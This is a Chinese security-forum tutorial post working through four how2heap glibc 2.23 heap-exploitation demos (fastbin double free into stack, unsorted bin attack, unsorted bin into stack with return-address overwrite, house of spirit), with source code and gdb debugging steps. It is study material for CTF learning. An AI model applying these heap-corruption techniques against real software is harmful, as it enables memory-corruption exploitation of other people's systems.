首页
社区
课程
招聘
[原创]深入理解how2heap_2.23(1)
2023-6-9 00:26 18748

[原创]深入理解how2heap_2.23(1)

2023-6-9 00:26
18748

前言

ptmalloc2的管理方式,chunk结构和bins的模型,在Overview of GLIBC heap exploitation techniquesctfwiki已经讲解的非常清楚,本文记录自己的学习堆利用的过程。这个系列预计更新完glibc-2.23,2.27,2.31,2.35和相关例题。建议看完glibc源码分析后再来看,当然直接看也无所谓。

主要工具:

pwncli
PwnGdb
gdb配置参考

我的主要操作环境

wsl-kali。配置参考我的另一篇文章
docker desktop镜像
ubuntu:16.04
ubuntu:18.04
ubuntu:22.04
编译时可以加-g来方便调试。
ida pro 7.7 + gdb调试。

我的.gdbinit文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py
 
define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end
 
#set context-clear-screen on
#set debug-events off
 
#source /root/splitmind/gdbinit.py
#python
 
#sections = "regs"
 
#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"
 
#import splitmind
 
#spliter = splitmind.Mind()
#spliter.select("main").right(display="regs", size="50%")
#gdb.execute("set context-stack-lines 10")
 
#legend_on = "code"
#if mode == "d":
#    legend_on = "disasm"
#    sections += " disasm"
#    spliter.select("main").above(display="disasm", size="70%", banner="none")
#    gdb.execute("set context-code-lines 30")
 
#elif mode == "s":
#    sections += " code"
#    spliter.select("main").above(display="code", size="70%", banner="none")
#    gdb.execute("set context-source-code-lines 30")
 
#else:
#    sections += " disasm code"
#    spliter.select("main").above(display="code", size="70%")
#    spliter.select("code").below(display="disasm", size="40%")
#    gdb.execute("set context-code-lines 8")
#    gdb.execute("set context-source-code-lines 20")
 
 
#sections += " args stack backtrace expressions"
#spliter.show("legend", on=legend_on)
#spliter.show("stack", on="regs")
#spliter.show("backtrace", on="regs")
#spliter.show("args", on="regs")
#spliter.show("expressions", on="args")
 
#gdb.execute("set context-sections \"%s\"" % sections)
#gdb.execute("set show-retaddr-reg on")
 
#spliter.build()
 
#end

例题

fastbin_dup_into_stack

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");
 
    unsigned long long stack_var;
 
    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
 
    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);
 
    fprintf(stderr, "Freeing the first one...\n");
    free(a);
 
    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);
 
    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);
 
    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);
 
    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;
 
    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

使用ubuntu:16.04进行编译

使用pwncli改写rpath

在malloc三次后, 0x400743处下断点

查看堆信息,三个fastbin的堆块,f1,f2,f3。

在free(f1),free(f2),free(f1)后,在0x40083B下断点。

查看fastbinY信息。

0x20大小的fastbins链上形成了double free。
再次malloc两次后,设断点在0x40089F

再次查看bins,因为申请两次后,fastbins中剩下f1(0x60300),而0x60300指向0x603020没有改变,0x603020指向0x60300也没变,并且fastbins中的chunk标记为prev_inuse一直为1,所以fastbins中依然保留这个ABA结构。

接下来,查看汇编代码,StackVar值改为0x20,为了放入0x20大小的fastbins,接下来把f1指向了StackVar以上0x8处,也就是prev_size的位置。将StackVar放入了0x20的fastbins中。在0x40092C处下断点。

查看堆信息。

这时候在申请两次便可申请到栈上。

在0x40095c下断点。

可以看到,已经申请到了栈上的值。

unsorted_bin_attack

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
 
int main(){
    fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
           "global variable global_max_fast in libc for further fastbin attack\n\n");
 
    unsigned long stack_var=0;
    fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
    fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
 
    unsigned long *p=malloc(400);
    fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
    fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
    malloc(500);
 
    free(p);
    fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
           "point to %p\n",(void*)p[1]);
 
    //------------VULNERABILITY-----------
 
    p[1]=(unsigned long)(&stack_var-2);
    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
    fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
 
    //------------------------------------
 
    malloc(400);
    fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
           "rewritten:\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
1
使用ubuntu:16.04进行编译,然后使用pwncli改写rpath。

首先申请了两个堆块,第一个堆块不属于fastbin大小,先进入unsortedbin中,第二个堆块为了防止第一块堆块与topchunk合并。在free第一个堆块前设置断点。
图片描述
查看bins和heap信息
图片描述
free第一个chunk以后,bins和heap信息,unsortedbin里的第一个chunk的fd和bk指向main_arena+0x58的位置。
图片描述
接下来利用uaf将unsortedbin中的第一个chunk的bk指针(rax存储的指针指向fd,rax+8指向bk,bk指向后加入的chunk)指向StackVar的prev_size位置。
图片描述
在0x4007D9处下断点,查看heap和bins信息。可以看到,0x602000处的chunk的bk指针被改为了一个栈值,fd指向main_arena+0x58的位置。
图片描述
再次将unsortedbin中第一个chunk给malloc出来以后,unsortedbin中仅剩StackVar-0x10。
图片描述
在0x400828下断点。查看heap和bins信息。
图片描述
可以看到,StackVar的fd指针即用户区域起始处已被修改为main_arena+0x58的值。

unsorted_bin_into_stack

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
 
void jackpot(){ printf("Nice jump d00d\n"); exit(0); }
 
int main() {
    intptr_t stack_buffer[4] = {0};
 
    printf("Allocating the victim chunk\n");
    intptr_t* victim = malloc(0x100);
 
    printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
    intptr_t* p1 = malloc(0x100);
 
    printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
    free(victim);
 
    printf("Create a fake chunk on the stack");
    printf("Set size for next allocation and the bk pointer to any writable address");
    stack_buffer[1] = 0x100 + 0x10;
    stack_buffer[3] = (intptr_t)stack_buffer;
 
    //------------VULNERABILITY-----------
    printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
    printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
    victim[-1] = 32;
    victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
    //------------------------------------
 
    printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
    char *p2 = malloc(0x100);
    printf("malloc(0x100): %p\n", p2);
 
    intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
    memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
 
    assert((long)__builtin_return_address(0) == (long)jackpot);
}
1
使用ubuntu16.04编译,然后使用pwncli改写rpath。

首先申请两个堆块
第一次申请的0x100大小的堆块给了[rbp+ptr]。第二个0x100是阻断topchunk。
图片描述
接下来free(ptr),把ptr放入unsorted bin中。
图片描述
在0x4007A7其fd,bk指向main_arena+x58的位置。
图片描述
这里把var_28位置写为0x110。IDA里这个var_28中的0x28是16进制的偏移。
图片描述
这里把rax指向ptr-8的位置,特就是size处。然后将其改为0x20。unsorted bin有FIFO特性,下次申请0x100大小不会找到它。然后将ptr+8的位置指向var_30,也就是把ptr的bk指针指向var_0x28+0x8的位置(bk指向后进入unsorted bin的chunk),var_0x28=0x110,也就是伪造的chunk大小,var_30也就是prev_size的位置。
图片描述
在0x40081C下断点,可见ptr的bk指向栈。
图片描述
查看0x602410内存可见ptr的size位置被改为了0x20
图片描述
接下来申请0x100大小的chunk将会去unsorted bin寻找0x110大小的chunk,ptr已被改为0x20大小,所以跳过ptr申请到了栈上伪造的var_30处chunk。
图片描述
在0x40082B处下断点,可见malloc后,unsorted被整理,0x20大小的ptr放进了small bin。fd和bk都指向main_arena+104处。
图片描述
申请成功。

house_of_spirit

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
 
    fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
    malloc(1);
 
    fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
    unsigned long long *a;
    // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
 
    fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
 
    fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size
 
    fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
    fake_chunks[9] = 0x1234; // nextsize
 
    fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
    fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
    a = &fake_chunks[2];
 
    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);
 
    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
1
使用ubuntu16.04编译,然后使用pwncli改写rpath。

调试

初始化堆。
图片描述

在0x400703处下断点查看堆结构。
图片描述
栈中数组结构。fake_chunks_size = 0x40fake_chunks_next_size = 0x1234
图片描述
a 指向fake_chunks_fd,然后 free(a)
图片描述
成功将栈地址放入 fastbins 中。
图片描述
那麽此时申请0x30大小的空间会在fastbins中寻找0x40大小的chunk,便可成功申请到栈上。
图片描述


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2023-10-10 19:32 被jelasin编辑 ,原因:
收藏
点赞8
打赏
分享
最新回复 (3)
雪    币: 19215
活跃值: (28839)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-6-9 09:08
2
1
感谢分享
雪    币: 1941
活跃值: (12815)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
珍惜Any 2 2023-6-9 13:16
3
0
glibc完全可以替换libc嘛,在android 里面
雪    币: 4953
活跃值: (5217)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
jelasin 3 2023-6-30 11:33
4
0
珍惜Any glibc完全可以替换libc嘛,在and
最后于 2023-9-25 07:17 被jelasin编辑 ,原因:
游客
登录 | 注册 方可回帖
返回